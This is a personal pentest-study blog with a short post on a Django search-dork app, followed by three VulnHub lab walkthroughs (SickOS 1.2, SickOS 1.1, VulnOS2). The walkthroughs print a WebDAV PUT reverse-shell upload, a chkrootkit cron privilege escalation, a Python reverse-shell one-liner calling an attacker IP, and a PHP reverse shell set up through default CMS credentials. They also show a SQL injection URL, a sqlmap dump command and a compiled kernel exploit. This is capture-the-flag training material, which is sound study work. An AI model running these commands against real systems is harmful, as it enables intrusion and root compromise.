DORKS PROJECT Search like an expert

Hi everybody,

This is a new entry on my personal blog that speak about OSINT footprinting recognition. I'm so happy to present a new web application using python with django framework (that i've never used before, but i recommend it).

This framework "Django" allow you create web applications with MVC model, from easy and faster way. The main idea of this project is provide a well UI  for a good  user experience, without knowledges of hacking /OSINT, that allow users search like experts.

On my personal github, you can find the source code of the beta application (but functional):

https://github.com/f0ns1/search_like_expert/blob/main/README.md

This application is created for learning purposes and should be launched on local environment:

fonsi@fonsi-GF63-Thin-10SCXR:~/MasterOSCP/Modulo3/advanceSearch$ python3 manage.py runserver

Watching for file changes with StatReloader

Performing system checks...

System check identified no issues (0 silenced).

August 22, 2021 - 09:08:25

Django version 3.2.4, using settings 'dorks_module.settings'

Starting development server at http://127.0.0.1:8000/

Quit the server with CONTROL-C.

Application Index:

 

This application is created using the following structure:

Google Dorks:

Bing Dorks:

Yandex Dorks:

Shodan Dorks:

DuckDuckGo Dorks:

And this is all for this new entry, I hope that you enjoy with the with the application and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/].

 We'll keep in touch.

with kind regards, f0ns1

SickOS SERIES[II]

 

SickOS - VULNHUB - Linux -1.2

Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:

We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:

The other tool is  netdiscover, with the same concept but using an interface like parameter:

NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.

nmap -sC -sV -p - -n -v 192.168.1.35 -oN target_nmap

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-21 01:51 CEST

NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 01:51

Completed NSE at 01:51, 0.00s elapsed

Initiating NSE at 01:51

Completed NSE at 01:51, 0.00s elapsed

Initiating NSE at 01:51

Completed NSE at 01:51, 0.00s elapsed

Initiating Ping Scan at 01:51

Scanning 192.168.1.35 [2 ports]

Completed Ping Scan at 01:51, 0.00s elapsed (1 total hosts)

Initiating Connect Scan at 01:51

Scanning 192.168.1.35 [65535 ports]

Discovered open port 80/tcp on 192.168.1.35

Discovered open port 22/tcp on 192.168.1.35

Connect Scan Timing: About 19.24% done; ETC: 01:53 (0:02:10 remaining)

Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 25.50% done; ETC: 01:53 (0:01:54 remaining)

Connect Scan Timing: About 51.50% done; ETC: 01:53 (0:01:05 remaining)

Completed Connect Scan at 01:53, 112.46s elapsed (65535 total ports)

Initiating Service scan at 01:53

Scanning 2 services on 192.168.1.35

Completed Service scan at 01:53, 6.04s elapsed (2 services on 1 host)

NSE: Script scanning 192.168.1.35.

Initiating NSE at 01:53

Completed NSE at 01:53, 0.11s elapsed

Initiating NSE at 01:53

Completed NSE at 01:53, 0.00s elapsed

Initiating NSE at 01:53

Completed NSE at 01:53, 0.00s elapsed

Nmap scan report for 192.168.1.35

Host is up (0.0028s latency).

Not shown: 65533 filtered ports

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: 

|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)

|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)

|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)

80/tcp open  http    lighttpd 1.4.28

| http-methods: 

|_  Supported Methods: GET HEAD POST OPTIONS

|_http-server-header: lighttpd/1.4.28

|_http-title: Site doesn't have a title (text/html).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.

Initiating NSE at 01:53

Completed NSE at 01:53, 0.00s elapsed

Initiating NSE at 01:53

Completed NSE at 01:53, 0.00s elapsed

Initiating NSE at 01:53

Completed NSE at 01:53, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 118.95 seconds

The conclusion of nmap scan is that we found the following open ports with the services:

EXPLOITATION:

22 ssh

ssh root@192.168.1.35

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!

Someone could be eavesdropping on you right now (man-in-the-middle attack)!

It is also possible that a host key has just been changed.

The fingerprint for the ECDSA key sent by the remote host is

SHA256:jltI6lCnaj6Ef0DsVMo1PVZCPyfw1MAba7V9x4mpECc.

Please contact your system administrator.

Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.

Offending ECDSA key in /home/kali/.ssh/known_hosts:9

  remove with:

  ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.168.1.35"

ECDSA host key for 192.168.1.35 has changed and you have requested strict checking.

Host key verification failed.

80 http

Image metadata:

kali@kali:~/VULNHUB/SICKOS1.2/data$ exiftool blow.jpg 

ExifTool Version Number         : 12.09

File Name                       : blow.jpg

Directory                       : .

File Size                       : 46 kB

File Modification Date/Time     : 2016:04:26 08:37:36+02:00

File Access Date/Time           : 2021:08:21 02:04:15+02:00

File Inode Change Date/Time     : 2021:08:21 02:04:15+02:00

File Permissions                : rw-r--r--

File Type                       : JPEG

File Type Extension             : jpg

MIME Type                       : image/jpeg

JFIF Version                    : 1.01

Resolution Unit                 : None

X Resolution                    : 1

Y Resolution                    : 1

Image Width                     : 551

Image Height                    : 559

Encoding Process                : Baseline DCT, Huffman coding

Bits Per Sample                 : 8

Color Components                : 3

Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)

Image Size                      : 551x559

Megapixels                      : 0.308

It seems that the image hasn't hidden content, in that case we are going to crawl the web server on the target ip:

And the web server contains a test directory context:

That directory is empty, but allow you upload content powered by lighttpd:

curl -X OPTIONS http://192.168.1.35/test -v

*   Trying 192.168.1.35:80...

* Connected to 192.168.1.35 (192.168.1.35) port 80 (#0)

> OPTIONS /test HTTP/1.1

> Host: 192.168.1.35

> User-Agent: curl/7.72.0

> Accept: */*

> 

* Mark bundle as not supporting multiuse

< HTTP/1.1 301 Moved Permanently

< DAV: 1,2

< MS-Author-Via: DAV

< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

< Location: http://192.168.1.35/test/

< Content-Length: 0

< Date: Sat, 21 Aug 2021 10:14:20 GMT

< Server: lighttpd/1.4.28

< 

* Connection #0 to host 192.168.1.35 left intact

Put operation : 

kali@kali:~/VULNHUB/SICKOS1.2/scripts$ curl -X PUT --data-binary "`cat ./php-reverse-shell.php`" http://192.168.1.35/test/reverse-shell.php -v

*   Trying 192.168.1.35:80...

* Connected to 192.168.1.35 (192.168.1.35) port 80 (#0)

> PUT /test/reverse-shell.php HTTP/1.1

> Host: 192.168.1.35

> User-Agent: curl/7.72.0

> Accept: */*

> Content-Length: 5490

> Content-Type: application/x-www-form-urlencoded

> 

* upload completely sent off: 5490 out of 5490 bytes

* Mark bundle as not supporting multiuse

< HTTP/1.1 200 OK

< Content-Length: 0

< Date: Sat, 21 Aug 2021 05:08:42 GMT

< Server: lighttpd/1.4.28

< 

* Connection #0 to host 192.168.1.35 left intact

And obtain reverse shell:

PRIVILEGE ESCALATION

With Linux-exploit-suggester we found that the target host, could be vulnerable to dirtycow exploit:

But the target machine, init a restart process when we execute the exploit ;(. So we are going to review the OS content with the lse.sh script:

And as you can see on the previous image, the Operative system is executed as a root a task process invoke by the daily crontab:

$ ls -ltrh /etc/cron.daily | grep chkroot

-rwxr-xr-x 1 root root 2.0K Jun  4  2014 chkrootkit

every minute:

$ chkrootkit -V

chkrootkit version 0.49

And this version is vulnerable to privilege escalation:

So, this is the escalation process:

The line 'file_port=$file_port $i' will execute all files specified in

$SLAPPER_FILES as the user chkrootkit is running (usually root), if

$file_port is empty, because of missing quotation marks around the

variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not

mounted noexec, obviously)

- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively

rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in

cron.daily) and has write access to /tmp (not mounted noexec), he may

easily take advantage of this.

In order to exploit the vulnerability, we create a new file named update on /tmp directory with the following content:

www-data@ubuntu:/tmp$ echo ' whoami > /tmp/user; echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/passwd ' > /tmp/update

< "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/passwd ' > /tmp/update      

Test the update script:

www-data@ubuntu:/tmp$ ./update

./update

./update: line 1: /etc/passwd: Permission denied

www-data@ubuntu:/tmp$ ls -ltrh

ls -ltrh

total 20K

-rw------- 1 www-data www-data    0 Aug 21 02:24 tmp.wV6wQqCjXQ

-rw------- 1 www-data www-data    0 Aug 21 02:24 tmp.Oj5cO0PhT2

-rwxrwxrwx 1 www-data www-data   77 Aug 21 02:46 update

-rw-rw-rw- 1 www-data www-data    9 Aug 21 02:47 user

srwxr-xr-x 1 www-data www-data    0 Aug 21  2021 php.socket-0

drwxrwxrwt 2 root     root     4.0K Aug 21  2021 VMwareDnD

drwx------ 2 root     root     4.0K Aug 21  2021 vmware-root

-rw-r--r-- 1 root     root     1.6K Aug 21  2021 vgauthsvclog.txt.0

www-data@ubuntu:/tmp$ cat user

cat user

www-data

After cron execution:

www-data@ubuntu:/tmp$ ls -ltrh

ls -ltrh

total 20K

-rw------- 1 www-data www-data    0 Aug 21 02:24 tmp.wV6wQqCjXQ

-rw------- 1 www-data www-data    0 Aug 21 02:24 tmp.Oj5cO0PhT2

-rwxrwxrwx 1 www-data www-data   77 Aug 21 02:46 update

-rw-rw-rw- 1 www-data www-data    5 Aug 21 02:48 user

srwxr-xr-x 1 www-data www-data    0 Aug 21  2021 php.socket-0

drwxrwxrwt 2 root     root     4.0K Aug 21  2021 VMwareDnD

drwx------ 2 root     root     4.0K Aug 21  2021 vmware-root

-rw-r--r-- 1 root     root     1.6K Aug 21  2021 vgauthsvclog.txt.0

www-data@ubuntu:/tmp$ cat user

cat user

root

And we obtain execution privileges such a root user:

And this is all for this lab machine, I hope that you enjoy with the SickOS 1.2 series server and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/].

 We'll keep in touch.

with kind regards, f0ns1

SickOS SERIES[I]

 

SickOS - VULNHUB - Linux -1.1

Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:

We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:

The other tool is  netdiscover, with the same concept but using an interface like parameter:

NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.

nmap -sC -sV -n -v -p - 192.168.1.33 -Pn

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-20 19:42 CEST

NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 19:42

Completed NSE at 19:42, 0.00s elapsed

Initiating NSE at 19:42

Completed NSE at 19:42, 0.00s elapsed

Initiating NSE at 19:42

Completed NSE at 19:42, 0.00s elapsed

Initiating Connect Scan at 19:42

Scanning 192.168.1.33 [65535 ports]

Discovered open port 22/tcp on 192.168.1.33

Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 2.86% done; ETC: 19:48 (0:05:39 remaining)

Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 3.37% done; ETC: 19:47 (0:05:15 remaining)

Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 3.50% done; ETC: 19:47 (0:05:03 remaining)

Connect Scan Timing: About 23.82% done; ETC: 19:45 (0:02:11 remaining)

Discovered open port 3128/tcp on 192.168.1.33

Connect Scan Timing: About 52.70% done; ETC: 19:44 (0:01:04 remaining)

Stats: 0:01:45 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 90.92% done; ETC: 19:44 (0:00:10 remaining)

Stats: 0:01:45 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 91.18% done; ETC: 19:44 (0:00:10 remaining)

Stats: 0:01:45 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan

Connect Scan Timing: About 91.38% done; ETC: 19:44 (0:00:10 remaining)

Completed Connect Scan at 19:44, 113.37s elapsed (65535 total ports)

Initiating Service scan at 19:44

Scanning 2 services on 192.168.1.33

Completed Service scan at 19:44, 11.03s elapsed (2 services on 1 host)

NSE: Script scanning 192.168.1.33.

Initiating NSE at 19:44

Completed NSE at 19:44, 0.83s elapsed

Initiating NSE at 19:44

Completed NSE at 19:44, 0.00s elapsed

Initiating NSE at 19:44

Completed NSE at 19:44, 0.00s elapsed

Nmap scan report for 192.168.1.33

Host is up (0.0026s latency).

Not shown: 65532 filtered ports

PORT     STATE  SERVICE    VERSION

22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: 

|   1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)

|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)

|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)

3128/tcp open   http-proxy Squid http proxy 3.1.19

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported: GET HEAD

|_http-server-header: squid/3.1.19

|_http-title: ERROR: The requested URL could not be retrieved

8080/tcp closed http-proxy

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.

Initiating NSE at 19:44

Completed NSE at 19:44, 0.00s elapsed

Initiating NSE at 19:44

Completed NSE at 19:44, 0.00s elapsed

Initiating NSE at 19:44

Completed NSE at 19:44, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 125.56 seconds

The conclusion of nmap scan is that we found the following open ports with the services:

EXPLOITATION:

**On this target machine the ping is unavailable

22 ssh

ssh root@192.168.1.33

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!

Someone could be eavesdropping on you right now (man-in-the-middle attack)!

It is also possible that a host key has just been changed.

The fingerprint for the ECDSA key sent by the remote host is

SHA256:fBxcsD9oGyzCgdxtn34OtTEDXIW4E9/RlkxombNm0y8.

Please contact your system administrator.

Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.

Offending ECDSA key in /home/kali/.ssh/known_hosts:8

  remove with:

  ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.168.1.33"

ECDSA host key for 192.168.1.33 has changed and you have requested strict checking.

Host key verification failed.

The connection by ssh it's not allowed, its seems that is for a bad configuration with cryptography

3128 squid proxy!

One of most important keys on this CTF is know that you can use the external service such a proxy for your local browser and your tools:

With proxy enable: we can access to the target server on port 80 using http protocol http://192.168.1.33/

And this is the index:

reviewing the robots.txt file:

And we found a new context: /wolfcms

Searching the way for exploiting the wolfcms:

sudo searchsploit wolfcms

[sudo] password for kali: 

------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------

 Exploit Title                                                                                                                                  |  Path

------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------

Wolfcms 0.75 - Cross-Site Request Forgery / Cross-Site Scripting                                                                                | php/webapps/18652.txt

WolfCMS 0.8.3.1 - Cross-Site Request Forgery                                                                                                    | php/webapps/44418.txt

WolfCMS 0.8.3.1 - Open Redirection                                                                                                              | php/webapps/44421.txt

------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------

Shellcodes: No Results

It's seems that there are no directly way for remote code execution on the external target, but we found an util information:

kali@kali:~/VULNHUB/VulOS/data$ cat `sudo locate php/webapps/44421.txt` | grep admin

#  Navigate to http://[URL]/wolfcms/?/admin/login

On the previous login url we can access using admin/admin credentials:

http://192.168.1.33/wolfcms/?/admin/login

Create new page, with a php reverse shell content:

$ip = '192.168.1.42';  // CHANGE THIS

$port = 8989;       // CHANGE THIS

** The previous variables should point to your attacker machine.

* For example this reverse shell

https://github.com/pentestmonkey/php-reverse-shell

Launch /preview the webpage content:

and wait in your attacker machine with a netcat command on tcp protocol at port 8989, for get a new session:

Obtain remote shell from the target machine:

Privilege Escalation:

Using a sh script (lse.sh), you can find crontab vulnerability:

** you would find this script for example in this url:

https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh

As you can see in the previous image, with a user root everybody can execute the python script:

# ls -ltrh /var/www/connect.py

-rwxrwxrwx 1 root root 217 Aug 21 00:37 /var/www/connect.py

In that case we can use it for spawn a reverse shell such a root user, from the target machine to the attacker machine, This script is execute every minute by the crontab (* * * * * root /var/www/connect.py):

# cat /var/www/connect.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.42",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Waiting for the root shell on the attacker machine:

And this is all for this lab machine, I hope that you enjoy with the SickOS 1.1 series server and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/].

 We'll keep in touch.

with kind regards, f0ns1

VulnOS2 - VULNHUB - Linux

 

VulnOS2 - VULNHUB - Linux 

Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:

We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:

The other tool is  netdiscover, with the same concept but using an interface like parameter:

NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.

# Nmap 7.91 scan initiated Sun Aug 15 21:10:18 2021 as: nmap -sC -sV -p - -n -v -oN target_nmap 192.168.1.36

Nmap scan report for 192.168.1.36

Host is up (0.00023s latency).

Not shown: 65532 closed ports

PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: 

|   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)

|   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)

|   256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)

|_  256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)

80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))

| http-methods: 

|_  Supported Methods: GET HEAD POST OPTIONS

|_http-server-header: Apache/2.4.7 (Ubuntu)

|_http-title: VulnOSv2

6667/tcp open  irc     ngircd

Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sun Aug 15 21:10:39 2021 -- 1 IP address (1 host up) scanned in 20.70 seconds

The conclusion of nmap scan is that we found the following open ports with the services:

EXPLOTATION:

80/tcp http protocol

Accessing to website link and review the content:

The documentation page has a hidden content with a message:

For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest

And it seems that the OpenDocMan 1.2.7 version has a multiples vulnerabilities:

https://www.exploit-db.com/exploits/32075

OpenDocMan database, Version.

Add admin permissions to guest user:

The source code for modify permissions from the attacker machine on the target machine:

Add privileges to guest user:

And finally i'm a loser ... Using sqlmap we can extract the dump of user and credentials:

** i know that it's possible make this  step via sql Injection, using this  url: 

http://192.168.1.36/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

But this is the solution using sqlmap dump:

sqlmap -u 'http://192.168.1.36/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -D jabcd0cs --risk=3 --level=5 --threads=4 --dump-all --batch

The credentials it seems that is not indexed at rockyou dictionary and for this reason we use an oline tool for crack the hash on MD5 type:

webmin1980

Now after login and validate credentials.

We should reuse the credentials for access via ssh:

Privilege Escalation:

Review possible privilege escalation, using an exploit for linux kernel version:

webmin@VulnOSv2:/tmp$ ./linux-exploit-suggester.sh 

Available information:

Kernel version: 3.13.0

Architecture: i686

Distribution: ubuntu

Distribution version: 14.04

Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed

Package listing: from current OS

Searching among:

76 kernel space exploits

48 user space exploits

Possible Exploits:

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

   Exposure: highly probable

   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]

   Download URL: https://www.exploit-db.com/download/40611

   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

   Exposure: highly probable

   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}

   Download URL: https://www.exploit-db.com/download/40839

   ext-url: https://www.exploit-db.com/download/40847

   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2015-1328] overlayfs

   Details: http://seclists.org/oss-sec/2015/q2/717

   Exposure: highly probable

   Tags: [ ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic} ],ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}

   Download URL: https://www.exploit-db.com/download/37292

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

   Exposure: probable

   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10

   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2017-6074] dccp

   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3

   Exposure: probable

   Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}

   Download URL: https://www.exploit-db.com/download/41458

   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2016-2384] usb-midi

   Details: https://xairy.github.io/blog/2016/cve-2016-2384

   Exposure: probable

   Tags: [ ubuntu=14.04 ],fedora=22

   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c

   Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/

   Exposure: probable

   Tags: [ ubuntu=(14.04|15.10) ]{kernel:4.2.0-(18|19|20|21|22)-generic}

   Download URL: https://www.exploit-db.com/download/39166

[+] [CVE-2015-3202] fuse (fusermount)

   Details: http://seclists.org/oss-sec/2015/q2/520

   Exposure: probable

   Tags: debian=7.0|8.0,[ ubuntu=* ]

   Download URL: https://www.exploit-db.com/download/37089

   Comments: Needs cron or system admin interaction

[+] [CVE-2015-1318] newpid (apport)

   Details: http://openwall.com/lists/oss-security/2015/04/14/4

   Exposure: probable

   Tags: [ ubuntu=14.04 ]

   Download URL: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

   Exposure: less probable

   Tags: mint=19,ubuntu=18|20, debian=10

   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2019-18634] sudo pwfeedback

   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/

   Exposure: less probable

   Tags: mint=19

   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c

   Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

   Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc

   Exposure: less probable

   Download URL: 

   Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2017-7308] af_packet

   Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html

   Exposure: less probable

   Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}

   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c

   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c

   Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184

   Exposure: less probable

   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE

   Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793

   Exposure: less probable

   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c

   Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only

[+] [CVE-2016-6663,CVE-2016-6664|CVE-2016-6662] mysql-exploit-chain

   Details: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

   Exposure: less probable

   Tags: ubuntu=16.04.1

   Download URL: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c

   Comments: Also MariaDB ver<10.1.18 and ver<10.0.28 affected

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/

   Exposure: less probable

   Download URL: https://www.exploit-db.com/download/39230

[+] [CVE-2015-1318] newpid (apport) 2

   Details: http://openwall.com/lists/oss-security/2015/04/14/4

   Exposure: less probable

   Tags: ubuntu=14.04.2

   Download URL: https://www.exploit-db.com/download/36782

[+] [CVE-2014-5207] fuse_suid

   Details: https://www.exploit-db.com/exploits/34923/

   Exposure: less probable

   Download URL: https://www.exploit-db.com/download/34923

[+] [CVE-2014-4014] inode_capable

   Details: http://www.openwall.com/lists/oss-security/2014/06/10/4

   Exposure: less probable

   Tags: ubuntu=12.04

   Download URL: https://www.exploit-db.com/download/33824

[+] [CVE-2014-0196] rawmodePTY

   Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html

   Exposure: less probable

   Download URL: https://www.exploit-db.com/download/33516

[+] [CVE-2016-0728] keyring

   Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

   Exposure: less probable

   Download URL: https://www.exploit-db.com/download/40003

   Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

The selected exploit:

https://www.exploit-db.com/raw/37292

And finally the escalation from webmin to root:

webmin@VulnOSv2:/tmp$ gcc -o exploit 37292.c

webmin@VulnOSv2:/tmp$ ./exploit 

spawning threads

mount #1

mount #2

child threads done

/etc/ld.so.preload created

creating shared library

# whomai

sh: 1: whomai: not found

# bash

root@VulnOSv2:/tmp# id

uid=0(root) gid=0(root) groups=0(root),1001(webmin)

root@VulnOSv2:/tmp# whoami

root

root@VulnOSv2:/tmp# hostname 

VulnOSv2

root@VulnOSv2:/tmp# ifconfig

eth0      Link encap:Ethernet  HWaddr 08:00:27:f1:a8:f7  

          inet addr:192.168.1.36  Bcast:192.168.1.255  Mask:255.255.255.0

          inet6 addr: fe80::a00:27ff:fef1:a8f7/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:64187 errors:0 dropped:0 overruns:0 frame:0

          TX packets:65656 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:9538617 (9.5 MB)  TX bytes:16696440 (16.6 MB)

